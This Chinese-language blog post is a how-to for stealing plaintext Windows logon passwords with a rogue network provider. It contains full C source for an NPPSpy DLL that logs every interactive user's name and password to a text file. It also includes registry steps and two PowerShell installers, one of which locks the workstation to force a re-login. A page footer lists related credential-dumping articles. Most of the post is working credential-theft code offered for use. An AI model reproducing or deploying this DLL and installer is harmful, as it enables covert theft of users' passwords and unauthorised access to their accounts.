0x01 前言

前段时间,根据大佬Grzegorz Tworek发布的 :使用LanMan版本的NPLogonNotify()函数来嗅探用于登录Windows的每个密码。明文。无需重新启动。今天过来研究一波,同时借鉴 来自鸿鹄 ly大佬写的集成powershell调用,来进一步方便利用。

0x02 原理

通过修改注册表,借助系统函数,抓取Windows明文密码

0x03 复现

然后将下列代码编译为dll文件:

NPPSPy.c 源代码

#include <Windows.h>// from npapi.h
#define WNNC_SPEC_VERSION                0x00000001
#define WNNC_SPEC_VERSION51              0x00050001
#define WNNC_NET_TYPE                    0x00000002
#define WNNC_START                       0x0000000C
#define WNNC_WAIT_FOR_START              0x00000001//from ntdef.h
typedef struct _UNICODE_STRING
{USHORT Length;USHORT MaximumLength;PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;// from NTSecAPI.h
typedef enum _MSV1_0_LOGON_SUBMIT_TYPE
{MsV1_0InteractiveLogon = 2,MsV1_0Lm20Logon,MsV1_0NetworkLogon,MsV1_0SubAuthLogon,MsV1_0WorkstationUnlockLogon = 7,MsV1_0S4ULogon = 12,MsV1_0VirtualLogon = 82,MsV1_0NoElevationLogon = 83,MsV1_0LuidLogon = 84,
} MSV1_0_LOGON_SUBMIT_TYPE, * PMSV1_0_LOGON_SUBMIT_TYPE;// from NTSecAPI.h
typedef struct _MSV1_0_INTERACTIVE_LOGON
{MSV1_0_LOGON_SUBMIT_TYPE MessageType;UNICODE_STRING LogonDomainName;UNICODE_STRING UserName;UNICODE_STRING Password;
} MSV1_0_INTERACTIVE_LOGON, * PMSV1_0_INTERACTIVE_LOGON;void SavePassword(PUNICODE_STRING username, PUNICODE_STRING password)
{HANDLE hFile;DWORD dwWritten;hFile = CreateFile(TEXT("C:\\NPPSpy.txt"),GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);if (hFile != INVALID_HANDLE_VALUE){SetFilePointer(hFile, 0, NULL, FILE_END);WriteFile(hFile, username->Buffer, username->Length, &dwWritten, 0);WriteFile(hFile, L" -> ", 8, &dwWritten, 0);WriteFile(hFile, password->Buffer, password->Length, &dwWritten, 0);WriteFile(hFile, L"\r\n", 4, &dwWritten, 0);CloseHandle(hFile);}
}__declspec(dllexport)
DWORD
APIENTRY
NPGetCaps(DWORD nIndex
)
{switch (nIndex){case WNNC_SPEC_VERSION:return WNNC_SPEC_VERSION51;case WNNC_NET_TYPE:return WNNC_CRED_MANAGER;case WNNC_START:return WNNC_WAIT_FOR_START;default:return 0;}
}__declspec(dllexport)
DWORD
APIENTRY
NPLogonNotify(PLUID lpLogonId,LPCWSTR lpAuthInfoType,LPVOID lpAuthInfo,LPCWSTR lpPrevAuthInfoType,LPVOID lpPrevAuthInfo,LPWSTR lpStationName,LPVOID StationHandle,LPWSTR* lpLogonScript
)
{SavePassword(&(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->UserName),&(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->Password));lpLogonScript = NULL;return WN_SUCCESS;
}

通过修改注册表,来实现读取密码效果

  1. 将NPPSpy.dll复制到System32文件夹
  2. 添加"NPPSpy"在结束"ProviderOrder"HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order
  3. 创建HKLM\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider并设置以下值:
    • "Class" = [REG_DWORD]2
    • "ProviderPath" = [REG_EXPAND_SZ]"%SystemRoot%\System32\NPPSPY.dll"
    • "Name" = [REG_SZ]"NPPSpy"

通过Powershell脚本进行调用,实现修改注册表的功能

$path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER
$UpdatedValue = $Path.PROVIDERORDER + ",NPPSpy"
Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValueNew-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy
New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Class" -Value 2
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Name" -Value NPPSpy
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot%\System32\NPPSPY.dl

将编译好的NPPSpy.dll复制到System32文件夹

运行ps1脚本:

然后 模拟用户注销、重新的登录,抓取到明文密码

为了方便,直接加入锁屏功能,一键修改注册表+锁屏:


$path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER
$UpdatedValue = $Path.PROVIDERORDER + ",NPPSpy"
Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValueNew-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy
New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Class" -Value 2
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Name" -Value NPPSpy
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot%\System32\NPPSPY.dll"Function Lock-WorkStation {$signature = @"[DllImport("user32.dll", SetLastError = true)]public static extern bool LockWorkStation();"@$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru$LockWorkStation::LockWorkStation() | Out-Null}Lock-WorkStation

0x04 参考链接

  1. https://docs.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify
  2. https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy

转载请注明:Adminxe's Blog » 利用系统函数获取Windows明文密码

利用系统函数获取Windows明文密码相关推荐

  1. 利用kali暴力破解获取windows账号密码

    利用kali暴力破解获取windows账号密码 步骤一:打开图形化软件hydra-gk 步骤二:设置目标系统地址 步骤三:选择用户名和密码 步骤四:设置任务编号和超时时间 步骤五:检查配置,然后选择s ...

  2. 【问题记录】防止mimikatz获取到明文密码

    1. 打补丁KB2871997 2. 禁用Wdigest Auth 3. 删除用户凭证 搭靶机的时候想弄个通过哈希传递攻击的机器,但是上传mimikatz之后发现可以直接抓取到明文密码.主要是wdig ...

  3. Win7如何利用系统放大镜工具更改用户密码

    Win7如何利用系统放大镜工具更改用户密码 工具:win7原始光盘或镜像 放大镜工具magnify.exe cmd.exe 1.         首先,打开计算机电源,到系统登录界面 2.       ...

  4. 内网渗透之mimikatz+procdump 提取 Windows 明文密码

    0x00 原理 获取到内存文件 lsass.exe 进程 (它用于本地安全和登陆策略) 中存储的明文登录密码. 0x01 操作 Windows10/2012 以下的版本: 1.上传 procdump ...

  5. c语言读取文件字节数,怎么在C语言中利用fstat函数获取文件的大小

    怎么在C语言中利用fstat函数获取文件的大小 发布时间:2021-01-22 17:03:17 来源:亿速云 阅读:110 作者:Leah 怎么在C语言中利用fstat函数获取文件的大小?针对这个问 ...

  6. 遍历图像 找最小外接矩形 matlab,2018a版本MatLab利用regionprops函数获取图片中物体轮廓最小外接矩形...

    2018a版本MatLab利用regionprops函数获取图片中物体最小外接矩形 本次内容,用于介绍利用matlab中的regionprops函数来获取图像区域中的物体的最小外接矩形信息(位置(x, ...

  7. mimakatz用法_两步完成利用procdump64+mimikatz获取win用户密码

    使用procdump64+mimikatz可实现从内存中获取明文密码 工具 链接:https://pan.baidu.com/s/1gNc9qLcNSNBohIVrAiqShw 密码:fc38 首先得 ...

  8. 微信小程序利用云函数获取小程序码(二维码) 将buffer流转换为图片

    最近在做毕设,有一个获取小程序码绘制分享海报的需求,因为需要小程序码的数量较多的业务场景,所以只能采用后端生成返回给前端调用或者云开发调用. 生成小程序码的两种方式 HTTPS调用 需要后端生成返回给 ...

  9. 利用Procdump+Mimikatz获取Windows帐户密码

    0x01 前言: 前段时间拿下一个网站的shell,很幸运的是直接就是System权限,结果发现执行添加用户命令并不能成功回显 看了下系统进程,原来是开启了360的主动防御,奈何也不会做免杀,上传ex ...

  10. C++通过系统版本号获取windows系统版本

    主要用到的windowsAPI为GetVersion()函数 代码 #define WIN10_VERSION 1 #define WIN7_VERSION 2//获取当前系统版本 DWORD get ...

最新文章

  1. 2022-2028年中国铪行业市场研究及前瞻分析报告
  2. centos7安装mariadb
  3. 三层代码讲解--第一课
  4. OSChina 周一乱弹 ——渴望咪咪还是渴望力量,都能给你
  5. Fluid 0.4 新版本正式发布
  6. 开源的pop3和smtp组件(支持中文及SSL)
  7. Chrome View Source Code 那些事
  8. React 第九章 表单的使用
  9. python 时间模块 time datetime calendar
  10. 点击微信网页的a标签直接跳转到淘宝APP打开怎么实现的?附:动图演示效果
  11. 二叉树递归非递归遍历,层次遍历,反转,输出路径等常见操作详细总结
  12. javaScript五种继承方式
  13. 在线SEO外链工具源代码
  14. Pspice仿真实验-RC滤波器电路
  15. 计算机键盘不能用怎么办,电脑键盘空格键失灵无法使用怎么办|电脑键盘空格键失灵的解决方法...
  16. 文件或目录损坏且无法读取怎么删除文件或目录
  17. 12. Zigbee应用程序框架开发指南 - 调试打印接口
  18. html 毛笔书写效果,canvas 手写毛笔字效果
  19. 卡西欧 991CN X 计算器 简单使用方法
  20. 测量耐力也有算法了!仅需锻炼20分钟,就能知晓自己能跑多久

热门文章

  1. 贝叶斯(Bayes)决策理论
  2. [资源]世界国家中英文名称以及地区区号json格式
  3. FCM算法研究(一)
  4. 51 ADC0809八路NTC温度采集系统(代码+仿真,OLED SPI)
  5. 单元测试工具Numega BoundsChecker
  6. Android跨进程通信:图文详解 Binder机制 原理
  7. 全局钩子原理以及操作流程
  8. 手机也能实时查看开关门状态?Zigbee 智慧厕所门亮了
  9. 【推荐】无线WiFi信号测试软件WirelessMon
  10. 110kv/35kv变电所无功补偿技术的研究+matlab仿真模型